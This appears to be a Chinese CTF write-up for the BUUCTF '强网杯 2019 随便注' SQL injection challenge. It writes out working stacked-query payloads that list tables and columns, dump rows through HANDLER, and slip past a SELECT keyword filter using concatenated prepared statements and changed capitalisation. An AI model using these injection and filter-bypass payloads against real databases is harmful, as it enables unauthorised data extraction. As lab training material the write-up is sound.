zoukankan      html  css  js  c++  java
  • BUUCTF-[强网杯 2019]随便注-wp

    一进去 

     1‘ 提交 判断 是否报错

     很明显存在注入点 

    MariaDB就是mysql的数据库好像

    虽然没必要用Python  但是为了练练Python 

    整个过程走完还是有必要 用Python 再来一遍 

    payload1: 判断列数 1' order by 2 #

    得出2列

    使用 union select 

     用正则强行过滤 就别考虑 编码 双写什么的了  浪费时间

    而且这题已经给出了提示 说明存在源码的可能性很小

    构造报错注入 1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#  

     其实也就那样了还是要用到select   用handler 首先也要知道 表名是啥

    盲注试过了 没用 

    各个注入测测 最后只有堆叠 好用

    payload:  1';show tables#

     直接把输入框当数据库玩

    这里看到一串数字 猜测 flag在这个表里 

    然后看字段payload :      -1'; show columns from `表名`#   

    看到flag 

     但是 要继续找 还是要用到select  这里用handler 好像也行 就是比较少见 但是非常方便 

    比如 payload: -1';handler `1919810931114514` open;handler `1919810931114514` read first;#                  handler主要是用来查表中数据  它甚至可以不用知道字段值   read first 读取表中数据第一行  结果:

     另一种 是通过预编译 进行绕过 select

    payload: -1';set @sql=('se','lect * from `1919810931114514`;'); prepare x from @sql;EXECUTE x;#         //预编译语句 先将拼接的搜索语句传给 @sql 再为它取个别名 用EXECUTE 刷新声明执行 搜索语句 

     这才是出题者的套路  不知道 它有想过 有大佬 能想到 handler 嘛?

    strstr函数存在的小漏洞是 简单匹配set  但是不会匹配到Set 而 我们输入 Set 不影响我们预编译代码执行   因为对面是windows系统  不区分大小写
    payload : -1';Set @sql=concat('se','lect * from `1919810931114514`;');Prepare x from @sql;EXECUTE x;#

    出来!

    然后我再用Python 编个poc 简单找flag 把语句放进去就行了 主要是 嗯 专业 !

     

  • 相关阅读:
    mac 鼓捣php 多版本切换
    thinkPHP 导出excel 发布正式环境net::ERR_INVALID_RESPONSE
    js 计时显示 倒着 正者 都行
    LNMP 下 php.ini 文件修改后不生效
    Jquery 遍历数组之$().each方法与$.each()方法介绍
    js 去掉字符串最后一个逗号
    js拼接字符串时,字符串首出现undefined的问题
    PHP 暂停函数 sleep() 与 usleep() 的区别
    在IDEA里创建web项目,以及web 项目部署
    spring容器和springmvc容器,以及web容器的关系
  • 原文地址:https://www.cnblogs.com/Sabia/p/14056661.html
Copyright © 2011-2022 走看看